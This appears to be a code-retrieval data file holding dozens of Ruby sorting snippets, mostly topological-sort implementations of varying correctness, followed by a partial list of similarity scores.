"def topological_sort(vertices)\n #Kahn's Algorithm\n #queue keeps the nodes that have not been sorted yet\n #whatever is popped off the stack goes to sorted and is done\n queue = []\n sorted = []\n\n #loop through vertices\n vertices.each do |vertex|\n #find vertices with no dependencies and push to queue\n queue << vertex if vertex.in_edges.empty?\n end\n\n #pop off from queue and check the out edges of each\n #after pop, delete the vertex all its out edges\n #push that vertex into the sorted array\n #look at each of the destination nodes and push them onto queue if no in edges\n #do this until the queue is empty\n until queue.empty?\n curr_node = queue.shift\n\n sorted << curr_node\n to_vertices = []\n\n #grabs all the vertices connected to the out edges of the curr_node\n curr_node.out_edges.reverse.each do |out_edge|\n # until curr_node.out_edges.empty?\n\n\n # p out_edge.to_vertex.value\n to_vertices << out_edge.to_vertex\n\n #destroy the edge after using it up\n #destroy not working like how I thought it would, maybe save destroy for after\n\n # out_edge.destroy!\n out_edge.destroy!\n end\n\n #need to check if these vertices are connected to anything after\n #curr_node's out edge deletion\n to_vertices.each do |vertex|\n queue << vertex if vertex.in_edges.empty?\n end\n\n #check all vertices connected by curr_node's out_edges\n #if those\n end\n\n if sorted.length == vertices.length\n return sorted\n else\n return []\n end\n\n \n # easy_read = []\n # sorted.each do |vertex|\n # easy_read << vertex.value\n # end\n # p easy_read\n\n\n\n #Tarjan's Algorithm\nend",
"def topological_sort(vertices)\n queue = Queue.new\n sorted_arr = []\n in_edges_count = {}\n\n vertices.each do |vertex|\n queue << vertex if vertex.in_edges.empty?\n in_edges_count[vertex] = vertex.in_edges.length\n end\n\n until queue.empty?\n test_vertex = queue.shift\n\n sorted_arr << test_vertex\n test_vertex.out_edges.each do |edge|\n destination_vertex = edge.to_vertex\n in_edges_count[destination_vertex] -= 1\n queue << destination_vertex if in_edges_count[destination_vertex].zero?\n end\n end\n\n return [] if sorted_arr.length < vertices.length\n sorted_arr\nend",
"def topological_sort(vertices)\n #Khan's\n sorted = []\n top = []\n has_in_edges = {}\n\n # O(|v|) time\n #take vertex if it has no in-edges\n vertices.each do |vertex|\n has_in_edges[vertex] = vertex.in_edges.length\n if vertex.in_edges.empty?\n top.push(vertex)\n end\n end\n\n # O(|e| set) time\n until top.empty?\n current = top.shift\n sorted.push(current)\n current.out_edges.each do |edge|\n to_vertex = edge.to_vertex\n has_in_edges[to_vertex] -= 1\n if has_in_edges[to_vertex] == 0\n top.push(to_vertex)\n end\n end\n\n end\n\n return sorted if sorted.length == vertices.length\n []\nend",
"def topological_sort(vertices)\n sorted = []\n queue = []\n in_edge_counts = {}\n\n vertices.each do |vertex|\n in_edge_counts[vertex] = vertex.in_edges.count\n queue << vertex if vertex.in_edges.empty?\n end\n\n until queue.empty?\n current = queue.shift\n sorted << current\n\n current.out_edges.each do |edge|\n destination = edge.to_vertex\n in_edge_counts[destination] -= 1\n queue << destination if in_edge_counts[destination] == 0\n end\n end\n sorted\nend",
"def sort_trophies_by_priority(trophies)\n #number of trophies per row\n per_row_small = 16\n per_row_medium = 4\n per_row_large = 1\n\n\n rows = []\n per_row = per_row_small + per_row_medium + per_row_large\n num_rows = (trophies.size / per_row.to_f).ceil\n (1..num_rows).each {rows << {:far_left => [],:left => [],:center => [],:right => [],:far_right => []}}\n i = 0\n trophies.each do |trophy|\n #fill center first\n if i < num_rows*per_row_large\n rows[i/per_row_large][:center] << trophy\n #fill left and right rows next\n elsif i < (num_rows*per_row_medium+num_rows*per_row_large)\n j = i - num_rows\n if j.even?\n rows[j/per_row_medium][:left] << trophy\n else\n rows[j/per_row_medium][:right] << trophy\n end\n #fill far left and far right rows next\n elsif i < (num_rows* per_row_small + num_rows*per_row_medium+num_rows)\n j = i - num_rows*per_row_medium - num_rows\n if j.even?\n rows[j/per_row_small][:far_left] << trophy\n else\n rows[j/per_row_small][:far_right] << trophy\n end\n end\n i = i + 1\n end\n rows\n end",
"def sorted_labels; end",
"def topological_sort\r\n l = []\r\n @visited = {}\r\n s = @charNodes - @adjGraph.keys\r\n s.each do |node|\r\n visit node, l\r\n end\r\n @sortedAlphabet = l\r\n end",
"def topological_sort(vertices)\n output = []\n # visited does not record leaf nodes unless there's a loop\n visited = []\n until vertices.empty?\n random_node = vertices[rand(vertices.length)]\n vertices.delete(random_node)\n dfs(random_node, output)\n end\n # if loop\n # if output.length == visited.length\n # return []\n # end\n return [] if output.nil?\n # if not loop\n # visited.each do |node|\n # p node.value\n # end\n output.reverse\nend",
"def topological_sort(vertices)\n count = {}\n sorted = []\n free_queue = []\n\n vertices.each do |vertex|\n count[vertex.value] = vertex.in_edges.length\n if vertex.in_edges.empty?\n free_queue.unshift(vertex)\n end\n end\n\n until free_queue.empty?\n # debugger\n current = free_queue.pop\n # p free_queue.map{|e|e.value}\n sorted << current\n # p current.out_edges.length\n verts = []\n current.out_edges.each do |edge|\n count[edge.to_vertex.value] -= 1\n # vert = edge.to_vertex\n # verts << vert\n end\n\n\n vertices.each do |vertex|\n free_queue.unshift(vertex) if count[vertex.value] == 0 && sorted.index(vertex).nil?\n end\n\n end\n sorted = sorted.uniq\n return [] if sorted.length != vertices.length\n sorted\nend",
"def topological_sort_khans(vertices)\n sorted = []\n queue = []\n in_degrees = {}\n\n vertices.each do |vertex|\n queue.unshift(vertex) if vertex.in_count == 0\n in_degrees[vertex] = vertex.in_count\n end\n\n until queue.empty?\n current = queue.pop\n sorted << current\n\n current.out_edges.each do |edge|\n destination = edge.to_vertex\n\n in_degrees[destination] -= 1\n queue.unshift(destination) if in_degrees[destination] == 0\n end\n\n end\n\n sorted\nend",
"def install_order2(arr)\n arr.select! {|el| el[1] }\n hash = {}\n arr.each do |package|\n hash[package[0]] = Vertex.new(package[0]) unless hash[package[0]]\n hash[package[1]] = Vertex.new(package[1]) unless hash[package[1]]\n Edge.new(hash[package[1]],hash[package[0]])\n end\n topological_sort(hash.values).map {|vert| vert.value }\nend",
"def topological_sort(vertices)\n next_vertex = Queue.new\n result = []\n vertices.each do |vertex|\n next_vertex.push(vertex) if vertex.in_edges.length < 1\n end\n\n while !next_vertex.empty?\n vertex = next_vertex.pop\n vertex.out_edges.each do |edge|\n new_vertex = edge.to_vertex\n next_vertex.push(new_vertex) if new_vertex.in_edges.length <= 1\n end\n vertex.out_edges.each{|edge| edge.destroy!}\n result.push(vertex)\n end\n result\nend",
"def topological_sort(vertices)\n queue = []\n result = []\n\n vertices.each do |vertex|\n if vertex.in_edges.empty?\n queue.push(vertex)\n end\n end\n\n until queue.empty?\n vertex = queue.shift\n result << vertex\n\n vertex.out_edges.dup.each do |edge|\n if edge.to_vertex.in_edges.length == 1\n queue.push(edge.to_vertex) \n end\n edge.destroy!\n end\n end\n \n if vertices.length == result.length\n return result\n else\n return []\n end\nend",
"def topological_sort(vertices)\n list = []\n sorted = []\n count_set = {}\n\n vertices.each do |vertex|\n count_set[vertex] = vertex.in_edges.count\n list << vertex if vertex.in_edges.empty?\n end\n\n until list.empty?\n vertex = list.shift\n sorted << vertex\n\n vertex.out_edges.each do |edge|\n to = edge.to_vertex\n count_set[to] -= 1\n list << to if count_set[to] == 0\n end\n end\n\n if sorted.length == vertices.length\n sorted\n else\n []\n end\nend",
"def topological_sort(vertices)\n res = []\n queue = []\n vertices.each do |vertex|\n queue << vertex if vertex.in_edges.empty?\n end\n until queue.empty?\n vertex = queue.shift\n res << vertex\n out_edges = vertex.out_edges.dup\n out_edges.each do |edge|\n queue << edge.to_vertex if edge.to_vertex.in_edges.length == 1\n edge.destroy!\n end\n end\n res\nend",
"def topological_sort(vertices)\n sorted = []\n top = []\n \n vertices.each do |vertex|\n if vertex.in_edges.empty?\n top << vertex\n end\n end\n\n until top.empty?\n current = top.pop\n sorted << current\n current.out_edges.each do |edge|\n if edge.to_vertex.in_edges.empty?\n top << edge.to_vertex\n end\n edge.destroy!\n end\n vertices.delete(current)\n end\n sorted\nend",
"def topological_sort(vertices)\n sorted = []\n top = new Queue() \n graph.vertices.each do |vertex|\n if vertex.in_edges.empty? \n top.enqueue(vertex)\n end \n end \nd\n until top.empty? \n current = top.pop \n sorted << current \n current.out_edges.each do |edge|\n if edge.destination.in_edges.empty? \n top.enqueue(edges)\n end \n end \n graph.delete_edge(edge)\n graph.delete_vertex(current); \n end \n\n \n\nend",
"def topological_sort(vertices) # Kahn's Algorithm. Queue is breadth first search\n sorted = []\n top_queue = []\n in_edge_count = Hash.new(0)\n vertices.each do |vertex|\n in_edge_count[vertex] = vertex.in_edges.length\n top_queue.unshift(vertex) if vertex.in_edges.empty?\n end\n until top_queue.empty?\n # debugger\n current = top_queue.pop\n sorted << current\n current.out_edges.each do |edge|\n top_queue.unshift(edge.to_vertex) if in_edge_count[edge.to_vertex] <= 1\n in_edge_count[edge.to_vertex] -= 1\n end\n # current.destroy!\n\n end\n if sorted.length == vertices.length\n return sorted\n else\n return []\n end\nend",
"def sort_leafs!\n leafs.sort! { |a, b| a.position.to_i <=> b.position.to_i }\n end",
"def ordered_topologically\n @ordered_topologically ||= super\n end",
"def topological_sort(&blk)\n processed_nodes = []\n unprocessed_allowable_nodes = (0...self.size).map{|i| yield(self, i).size==0 ? self[i] : nil }.compact\n while unprocessed_allowable_nodes.size > 0\n node = unprocessed_allowable_nodes.pop\n processed_nodes.push node\n new_nodes = []\n self.each.with_index do |node, i|\n next if processed_nodes.include?(node) || unprocessed_allowable_nodes.include?(node)\n dependencies = yield(self, i)\n dependencies.reject! {|j| processed_nodes.include?(self[j])}\n if dependencies.size == 0\n unprocessed_allowable_nodes << node\n end\n end\n end\n raise CyclesInTopologicalSort, \"Can't do topological sort on Array; it has cycles\" \\\n unless processed_nodes.size == self.size\n processed_nodes\n end",
"def topological_sort(vertices)\n in_edge_count = {}\n queue = []\n visited = {}\n vertices.each do |vertex|\n in_edge_count[vertex] = vertex.in_edges.count\n queue << vertex if vertex.in_edges.empty?\n end\n sorted = []\n\n until queue.empty?\n vertex = queue.pop\n sorted << vertex\n\n vertex.out_edges.each do |edge|\n to_vertex = edge.to_vertex\n in_edge_count[to_vertex] -= 1\n queue << to_vertex if in_edge_count[to_vertex] == 0\n end\n end\n sorted.length == vertices.length ? sorted : []\nend",
"def topological_sort(vertices)\n queue = []\n sorted = []\n # keep track of vertex in_edges count so that\n # it doesnt get prematurely pushed into queue\n count = {}\n\n # find started vertexes\n vertices.each do |vertex|\n queue.push(vertex) if vertex.in_edges.empty?\n count[vertex] = vertex.in_edges.count\n end\n\n until queue.empty?\n vertex = queue.shift\n sorted << vertex\n vertex.out_edges.each do |edge|\n vert = edge.to_vertex\n count[vert] -= 1\n queue.push(vert) if count[vert] == 0\n end\n end\n\n sorted.count == vertices.count ? sorted : []\nend",
"def topological_sort(vertices)\n list = []\n queue = []\n\n queue = enqueue(vertices, queue)\n\n until queue.empty?\n vertex = queue.shift\n list << vertex\n\n new_vertices = vertex.out_edges.map(&:to_vertex)\n out_edges = vertex.out_edges.dup\n\n out_edges.each(&:destroy!)\n vertex.out_edges = []\n\n queue = enqueue(new_vertices, queue)\n end\n\n list.length == vertices.length ? list : []\nend",
"def topological_sort(vertices)\n queue = []\n list = []\n\n vertices.each do |v|\n if v.in_edges.empty?\n queue << v\n end\n end\n\n\n while queue.length > 0\n curr = queue.shift\n list << curr\n\n (curr.out_edges.length-1).downto(0) do |i|\n if curr.out_edges[i].to_vertex.in_edges.length == 1\n queue << curr.out_edges[i].to_vertex\n end\n curr.out_edges[i].destroy!\n end\n end\n\n vertices.length == list.length ? list : []\nend",
"def topological_sort(vertices)\n in_edge_store = {}\n queue = []\n\n vertices.each do |vertex|\n in_edge_store[vertex] = vertex.in_edges.count\n queue << vertex if vertex.in_edges.empty?\n end\n\n ordered_vertices = []\n until queue.empty?\n current_vertex = queue.shift\n ordered_vertices << current_vertex\n current_vertex.out_edges.each do |edge|\n next_vertex = edge.to_vertex\n in_edge_store[next_vertex] -= 1\n queue << next_vertex if in_edge_store[next_vertex] == 0\n end\n end\n\n ordered_vertices\nend",
"def topsort\n degree = {}\n zeros = []\n result = []\n\n # Collect each of our vertices, with the number of in-edges each has.\n @vertices.each do |name, wrapper|\n edges = wrapper.in_edges\n zeros << wrapper if edges.length == 0\n degree[wrapper.vertex] = edges\n end\n\n # Iterate over each 0-degree vertex, decrementing the degree of\n # each of its out-edges.\n while wrapper = zeros.pop do\n result << wrapper.vertex\n wrapper.out_edges.each do |edge|\n degree[edge.target].delete(edge)\n zeros << @vertices[edge.target] if degree[edge.target].length == 0\n end\n end\n\n # If we have any vertices left with non-zero in-degrees, then we've found a cycle.\n if cycles = degree.find_all { |vertex, edges| edges.length > 0 } and cycles.length > 0\n message = cycles.collect { |vertex, edges| edges.collect { |e| e.to_s }.join(\", \") }.join(\", \")\n raise Puppet::Error, \"Found dependency cycles in the following relationships: %s; try using the '--graph' option and open the '.dot' files in OmniGraffle or GraphViz\" % message\n end\n\n return result\n end",
"def topological_sort(vertices)\n results = []\n queue = []\n\n vertices.each do |vertex|\n if vertex.in_edges.empty?\n queue << vertex\n end\n end\n\n until queue.empty?\n current_node = queue.pop\n current_node.out_edges.each do |node|\n node.destroy!\n end\n end\nend",
"def topsort(start = nil, &block)\n result = []\n go = true\n back = Proc.new { |e| go = false }\n push = Proc.new { |v| result.unshift(v) if go }\n start ||= vertices[0]\n dfs({ :exit_vertex => push, :back_edge => back, :start => start })\n result.each { |v| block.call(v) } if block\n result\n end",
"def topological_sort(vertices)\n queue = []\n order = []\n in_edge_count = {}\n\n vertices.each do |vertex|\n in_edge_count[vertex] = vertex.in_edges.count\n queue << vertex if vertex.in_edges.empty?\n end\n\n until queue.empty?\n current = queeue.shift\n order << current\n\n current.out_edges.each do |edge|\n to_vert = edge.to_vertex\n in_edge_count[to_vert] -= 1\n queue << to_vert if in_edge_count[to_vert] == 0\n end\n\n end\n\n order.length == vertices.length ? order : []\nend",
"def topological_sort(vertices)\n\n sorted = []\n sub_ans = []\n vertices.each do |vertex|\n if vertex.in_edges.empty?\n sub_ans.push(vertex)\n end\n end\n\n return sub_ans if sub_ans.empty?\n\n until sub_ans.empty?\n current = sub_ans.shift\n sorted << current\n current.out_edges.each do |edge|\n edge.to_vertex.in_edges.delete(edge)\n if edge.to_vertex.in_edges.empty?\n sub_ans.push(edge.to_vertex)\n end\n end\n end\n if sorted.length < vertices.length\n return []\n end\n sorted\nend",
"def topological_sort(vertices)\n\n # # Determine the in-degree of each node.\n # in_degrees = []\n #\n # vertices.each do |vertex|\n # in_degrees.push(vertex.in_edges.length)\n # end\n #\n # # Collect nodes with zero in-degree in a queue.\n # queue = []\n # in_degrees.each_with_index do |degree, idx|\n # queue.push(vertices[idx]) if degree == 0\n # end\n #\n # deletelist = []\n # # While the queue is not empty:\n # while(queue.length != 0)\n # # Pop node u from queue,\n # u = queue.shift()\n # # remove u from the graph,\n # vertices.delete(u)\n # # We maintain a list that records in which order the nodes are removed.\n # deletelist.push(u)\n # u.out_edges.each {|edge| edge.destroy!}\n #\n # # check if there is a new node with in-degree zero (among the neighbors of u)\n # in_degrees = []\n # vertices.each do |vertex|\n # in_degrees.push(vertex.in_edges.length)\n # end\n # # If yes, put that node into the queue.\n # in_degrees.each_with_index do |degree, idx|\n # queue.push(vertices[idx]) if (degree == 0) && (queue.include?(vertices[idx]) == false)\n # end\n # end\n #\n # # If the queue is empty:\n # # if we removed all nodes from the graph, return the list\n # return deletelist if vertices == []\n #\n # # else we return an empty list that indicates that an order is not possible due to a cycle\n # return []\n\n #I tried but I don't understand what the spec is saying\n in_edge_counts = {}\n queue = []\n\n vertices.each do |v|\n in_edge_counts[v] = v.in_edges.count\n queue << v if v.in_edges.empty?\n end\n\n sorted_vertices = []\n\n until queue.empty?\n vertex = queue.shift\n sorted_vertices << vertex\n\n vertex.out_edges.each do |e|\n to_vertex = e.to_vertex\n\n in_edge_counts[to_vertex] -= 1\n queue << to_vertex if in_edge_counts[to_vertex] == 0\n end\n end\n\n sorted_vertices\n\n # The time complexity of this implementation is O(2v + 2e)\n\nend",
"def topological_sort(vertices)\n sorted = []\n top = []\n vertices.each do |vertex|\n if vertex.in_edges.empty?\n top.push(vertex)\n end\n end\n until top.empty?\n current = top.pop\n sorted.push(current)\n current.out_edges.each do |edge|\n if (edge.to_vertex.in_edges - [edge]).empty?\n top.push(edge.to_vertex)\n end\n end\n current.out_edges.each do |edge|\n edge.destroy!\n end\n # vertices.delete(current)\n end\n sorted.length == vertices.length ? sorted : []\nend",
"def sorted_with_order\n # Identify groups of nodes that can be executed concurrently\n groups = tsort_each.slice_when { |a, b| parents(a) != parents(b) }\n\n # Assign order to each node\n i = 0\n groups.flat_map do |group|\n group_with_order = group.product([i])\n i += group.size\n group_with_order\n end\n end",
"def topological_sort(vertices)\n num_edges = {}\n queue = []\n\n vertices.each do |vertex|\n num_edges[vertex] = vertex.in_edges.count\n queue << vertex if vertex.in_edges.empty?\n end\n\n sorted = []\n\n while queue.length > 0\n vertex = queue.shift\n sorted.push(vertex)\n\n vertex.out_edges.each do |edge|\n to_vertex = edge.to_vertex\n\n num_edges[to_vertex] -= 1\n if num_edges[to_vertex] == 0\n queue.push(to_vertex)\n end\n end\n end\n\n if sorted.length == vertices.length\n sorted\n else\n []\n end\nend",
"def topological_sort(vertices)\n sorted = []\n top = Queue.new\n vertices.each do |vertex|\n if vertex.in_edges.empty? \n top.enq(vertex)\n end\n end\n\n until top.empty?\n current = top.pop\n sorted << current\n while current.out_edges.length != 0\n edge = current.out_edges[0]\n if edge.to_vertex.in_edges == [edge]\n top.enq(edge.to_vertex)\n end\n edge.destroy!\n end\n\n end\n\n if sorted.length != vertices.length\n return []\n end\n\n sorted\nend",
"def sort_features_by_dep\n dep_links = dependency_links\n graph = DepGraph.new(dep_links)\n sorted_deps = graph.tsort\n\n all_sorted = sorted_deps.map(&:dependee)\n @sorted_features = all_sorted.reject { |f| f.feature.anonymous? }\n end",
"def topological_sort(vertices)\n queue = []\n order = []\n\n vertices.each do |vertex|\n queue << vertex if vertex.in_edges.empty?\n end\n\n until queue.empty?\n current = queue.shift\n order << current\n\n current.out_edges.dup.each do |edge|\n to_vert = edge.to_vertex\n queue << to_vert if to_vert.in_edges.count <= 1\n edge.destroy!\n end\n end\n\n order.length == vertices.length ? order : []\nend",
"def topological_sort(vertices)\n vertex_queue = []\n sorted_queue = []\n\n vertex_count = {}\n\n #vertex queue has vertex which do not have any in_edges\n vertices.each do |vertex|\n vertex_count[vertex] = vertex.in_edges.count\n vertex_queue << vertex if vertex.in_edges.empty?\n end\n\n # while !vertex_queue.empty?\n until vetex_queue.empty?\n new_vertex = vertex_queue.shift\n sorted_queue << new_vertex\n\n new_vertex.out_edges.each do |out|\n to_vertex = out.to_vertex\n\n vertex_count[to_vertex] -= 1\n vertex_queue << to_vertex if vertex_count[to_vertex] == 0\n end\n end\n sorted_queue\nend",
"def topological_sort(vertices)\n queue = []\n result = []\n\n vertices.each do |vertex|\n if vertex.in_edges.empty?\n queue.push(vertex)\n end\n end\n\n until queue.empty?\n vertex = queue.shift\n result << vertex\n\n vertex.out_edges.reverse.each do |edge|\n if edge.to_vertex.in_edges.length == 1\n queue.push(edge.to_vertex)\n end\n edge.destroy!\n end\n end\n\n if vertices.length == result.length\n return result\n else\n return []\n end\nend",
"def topological_sort(vertices)\n sorted = []\n top_nodes_queue = []\n\n vertices.each do |vertix|\n top_nodes_queue.push(vertix) if vertix.in_edges.length == 0\n end\n\n until top_nodes_queue.empty?\n unpopped = top_nodes_queue.shift\n sorted << unpopped\n\n (unpopped.out_edges.length - 1).downto(0).each do |index|\n edge = unpopped.out_edges[index]\n if edge.to_vertex.in_edges.length == 1\n\n top_nodes_queue.push(edge.to_vertex)\n end\n to_vertex = edge.to_vertex\n edge.destroy!\n end\n end\n\n return [] unless vertices.length == sorted.length\n sorted\nend",
"def sort(array_of_nodes, order)\n new_arry = []\n array_of_nodes.each { |node|\n node_idx = []\n np = node.node_type == :attribute ? node.element : node\n while np.parent and np.parent.node_type == :element\n node_idx << np.parent.index( np )\n np = np.parent\n end\n new_arry << [ node_idx.reverse, node ]\n }\n ordered = new_arry.sort_by do |index, node|\n if order == :forward\n index\n else\n -index\n end\n end\n ordered.collect do |_index, node|\n node\n end\n end",
"def topological_sort(vertices)\n queue = vertices.select { |vertex| vertex.in_edges.empty? }\n sorted_vertices = []\n\n until queue.empty?\n vertex = queue.shift\n vertices.delete(vertex)\n vertex.out_edges.length.times do\n out_edge = vertex.out_edges[0]\n to_vertex = out_edge.to_vertex\n queue.push(to_vertex) if to_vertex.in_edges.length == 1\n out_edge.destroy!\n end\n\n sorted_vertices.push(vertex)\n end\n\n vertices.empty? ? sorted_vertices : []\nend",
"def topological_sort(vertices)\n queue = []\n order = []\n\n vertices.each do |vertex|\n queue << vertex if vertex.in_edges.empty?\n end\n\n until queue.empty?\n curr = queue.shift\n neighbors = []\n curr.out_edges.each {|edge| neighbors << edge.to_vertex }\n\n curr.out_edges.each {|edge| edge.destroy!}\n\n neighbors.each do |adj|\n queue << adj unless queue.include?(adj)\n end\n\n vertices.delete(curr)\n order << curr\n end\n\n return [] unless order.uniq.length == order.length\n order\nend",
"def smooth_sort(array)\n orders = [0]\n trees = 0\n\n (0...array.length).each do |i|\n if trees > 1 && orders[trees - 2] == orders[trees - 1] + 1\n trees -= 1\n orders[trees - 1] += 1\n elsif trees > 0 && orders[trees - 1] == 1\n orders[trees += 1] = 0\n else\n orders[trees += 1] = 1\n end\n find_and_sift(array, i, trees - 1, orders)\n end\n (array.length - 1).downto(1) do |i|\n if orders[trees - 1] <= 1\n trees -= 1\n else\n right_index = i - 1\n left_index = right_index - LEONARDO_NUMS[orders[trees - 1] - 2]\n trees += 1\n orders[trees - 2] -= 1\n orders[trees - 1] = orders[trees - 2] - 1\n find_and_sift(array, left_index, trees - 2, orders)\n find_and_sift(array, right_index, trees - 1, orders)\n end\n end\n array\nend",
"def topo_sort_rec_wrap(graph, discovered = {}, sorted_list = [])\n graph.keys.each do |vtx|\n next if discovered[vtx]\n topo_sort_rec(graph, vtx, discovered, sorted_list)\n sorted_list << vtx\n end\n sorted_list.reverse\nend",
"def topological_sort(vertices)\n queue = []\n list = []\n new_to_list = []\n\n vertices.each do |vertex|\n queue.push(vertex) if vertex.in_edges.length == 0\n end\n\n while queue.length > 0\n new_to_list = [].concat(queue)\n\n while !queue.empty?\n vertex = queue.pop\n end\n\n # Add neighbors of removed wo in edges\n new_to_list.each do |vertex|\n vertex.out_edges.each do |edge|\n if edge.to_vertex.in_edges.length == 1\n queue << edge.to_vertex\n end\n edge.destroy!\n end\n end\n\n # Add new_to_list to list\n list = list.concat(new_to_list)\n new_to_list = []\n end\n\n if vertices.length == list.length\n return list\n else\n return []\n end\nend",
"def topological_sort(vertices)\n queue = []\n list = []\n vertices.each { |vertex| queue << vertex if vertex.in_edges.empty? }\n\n until queue.empty?\n removal = queue.shift\n list << removal\n\n removal.out_edges.each do |edge|\n outer_vertex = edge.to_vertex\n\n outer_vertex.in_edges.delete(edge)\n\n queue << outer_vertex if outer_vertex.in_edges.empty?\n end\n end\n\n return list if list.length == vertices.length\n\n []\nend",
"def topological_sort(vertices)\n sorted = []\n queue = []\n vertices.each do |vertex|\n queue << vertex if vertex.in_edges.empty?\n end\n\n until queue.empty?\n current_vert = queue.shift\n sorted << current_vert\n current_vert.out_edges.each do |edge|\n if edge.to_vertex.in_edges.length == 1\n queue << edge.to_vertex\n end\n end\n current_vert.out_edges.each do |edge|\n edge.destroy!\n end\n end\n\n return [] if sorted.length < vertices.length\n sorted\nend",
"def topological_sort(vertices)\n sorted = []\n queue = []\n\n vertices.each do |vertex|\n queue << vertex if vertex.in_edges.empty?\n end\n\n until queue.empty?\n current = queue.shift\n sorted << current\n\n current.out_edges.dup.each do |edge|\n next_vertex = edge.to_vertex\n edge.destroy!\n if next_vertex.in_edges.empty?\n queue << next_vertex\n end\n\n end\n end\n\n sorted.count == vertices.count ? sorted : []\nend",
"def grand_sorting_machine(array)\n\n\n\nend",
"def sort_genes\n \t@genes.sort!{|x,y| x.start <=> y.start}\n end",
"def topological_sort(vertices)\n sorted = []\n queue = []\n vertices.each do |v|\n queue << v if v.in_edges.empty?\n end\n until queue.empty?\n u = queue.shift\n until u.out_edges.empty?\n e = u.out_edges.pop\n v = e.to_vertex\n e.destroy!\n queue << v if v.in_edges.empty?\n end\n sorted << u\n vertices.delete(u)\n end\n vertices.empty? ? sorted : []\nend",
"def gnomesort(a)\n a.start_logging\n\n i = 0\n while i < a.length\n if i == 0 || a[i] > a[i - 1]\n i += 1\n else\n a[i], a[i - 1] = a[i - 1], a[i]\n a.log\n i -= 1\n end\n end\n\n a\nend",
"def topological_sort(vertices)\n sorted = []\n top_queue = []\n # vertices_hash = {}\n\n # vertices.each { |vertex| vertices_hash[vertex] = true }\n\n vertices.each do |vertex|\n if vertex.in_edges.empty?\n top_queue << vertex\n end\n end\n\n until top_queue.empty?\n current_vertex = top_queue.shift\n sorted << current_vertex\n\n until current_vertex.out_edges.empty?\n edge = current_vertex.out_edges[0]\n neighbor = edge.to_vertex\n edge.destroy!\n\n if neighbor.in_edges.empty?\n top_queue.push(neighbor)\n end\n\n end\n # vertices_hash.delete(current_vertex)\n end\n\n # vertices_hash.empty? ? sorted : []\n # Or\n sorted.length == vertices.length ? sorted : []\nend",
"def topological_sort(vertices)\n queue = fill_queue(vertices)\n result = []\n \n i = 0\n while queue \n vert = queue.pop\n vert.out_edges.map do |edge|\n queue.unshift(edge.to_vertex)\n edge.destroy! \n end\n result << vert\n fill_queue(vertices) if queue.empty? && !(vertices.empty?)\n end\n\n return vertices.empty? ? [] : result\nend",
"def sorted_triples(array)\n sort_array = []\n array.each_slice(3) do |group|\n sort_array << group.sort\n end\n return sort_array\nend",
"def topological_sort(vertices)\n sorted, queue = [], []\n\n vertices.each do |vtx|\n queue << vtx if vtx.in_edges.empty?\n end\n\n until queue.empty?\n next_vtx = queue.shift\n sorted << next_vtx\n #enumerable tracks index so destroy throws\n #off the each method\n until next_vtx.out_edges.empty?\n edge = next_vtx.out_edges.first\n dependent = edge.to_vertex\n edge.destroy!\n if dependent.in_edges.empty?\n queue << dependent\n end\n end\n vertices.delete(next_vtx)\n end\n return [] if vertices.count > 0\n sorted\nend",
"def get_point_order\n order = Array.new(@feature.length)\n @feature.each_with_index.sort_by(&:first).each_with_index { |f_and_index, i| order[f_and_index[1]] = i }\n order\n end",
"def topological_sort(vertices)\n queue = vertices.select { |node| node.in_edges.length == 0 }\n ordered_list = []\n\n degree = {}\n vertices.each { |node| degree[node.value] = node.in_edges.length }\n\n until queue.empty?\n curr_node = queue.pop\n ordered_list << curr_node\n\n curr_node.out_edges .map { |edge| edge.to_vertex }\n .each { |child| degree[child.value] -= 1 }\n\n queue = vertices.select do |node|\n degree[node.value] == 0 && !queue.include?(node) && !ordered_list.include?(node)\n end + queue\n end\n\n return degree.all? { |_, v| v == 0 } ? ordered_list : []\nend",
"def dominant_sort(fish)\n return fish if fish.length <= 1\n\n mid = fish.length / 2\n\n left = fish[0...mid]\n right = fish[mid..-1]\n\n left_sorted = dominant_sort(left)\n right_sorted = dominant_sort(right)\n\n sorted = dominant_merge(left_sorted, right_sorted)\nend",
"def findOrdering(neededByHash, leafSet)\n\t\t#this is the stack used to do a DFS\n\t\tpendingStack = Array.new()\n\n\t\t#for each target, this hash will contain an array of it's dependents\n\t\t#that have not yet been visited. The value will be initialized to\n\t\t#the values in neededByHash the first time a target node is visited,\n\t\t#and then decremented one by one as the graph is traversed\n\t\tremainingChildrenHash = Hash.new()\n\n\t\tdef copySetToArray(st)\n\t\t\tnewArr = []\n\t\t\tst.each {|vl| newArr.push(vl)}\n\t\t\treturn newArr\n\t\tend\n\n\t\tpendingStack.concat(leafSet.to_a())\n\t\tpendingStack.each do |trg| \n\t\t\tchildrenSet = neededByHash[trg]\n\t\t\tchildrenArr = copySetToArray(childrenSet)\n\t\t\tremainingChildrenHash[trg] = childrenArr\n\t\tend\n\n\t\t#the output ordering, where every filename is listed after all files\n\t\t#it depends on\n\t\tordering = Array.new()\n\n\t\tuntil(pendingStack.empty?)\n\t\t\t#debug \"\\n\\nfindOrdering:pendingStack: #{arrayString(pendingStack)}\"\n\t\t\tnextTarget = pendingStack.last()\n\t\t\t#debug \"findOrdering:Visiting: #{nextTarget}\"\n\t\t\tif(remainingChildrenHash[nextTarget].empty?)\n\t\t\t\tpendingStack.pop()\n\t\t\t\tordering.unshift(nextTarget)\n\t\t\telse\n\t\t\t\tnextChild = remainingChildrenHash[nextTarget].pop()\n\t\t\t\tunless (remainingChildrenHash.has_key?(nextChild))\n\t\t\t\t\tnextChildsChildrenSet = neededByHash[nextChild]\n\t\t\t\t\tnccArr = copySetToArray(nextChildsChildrenSet)\n\t\t\t\t\tremainingChildrenHash[nextChild] = nccArr\n\t\t\t\t\tpendingStack.push(nextChild)\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\treturn ordering\n\t\n\tend",
"def topological_sort(vertices)\n result = []\n visited = {}\n #Set visited hash to all false\n vertices.each { |vertex| visited[vertex] = false }\n\n # Until all nodes are visited\n until visited.all? { |vertex, visited| visited }\n\n #find the unvisited items.\n non_visited_vertices = visited.reject { |vertex, visited| visited }.keys\n\n #visit any unvisited vertex (arbitrarily the first)\n has_no_cycle = visit(non_visited_vertices[0],\n result, visited)\n\n # If there is a cycle then return an empty array.\n return [] if !has_no_cycle\n end\n\n #Return the result.\n result\n end",
"def sort_matrix!(matrix, clusters)\n\ti = 0\n\tclusters.flatten.each do |j|\n\t\tswap_line! matrix, i, j unless i <= j\n puts \"swap #{i}, #{j}\"\n\t\ti += 1\n\tend\nend"
] |
[
"0.7850025",
"0.75066644",
"0.73835063",
"0.7166876",
"0.70556283",
"0.7047158",
"0.69856656",
"0.69748807",
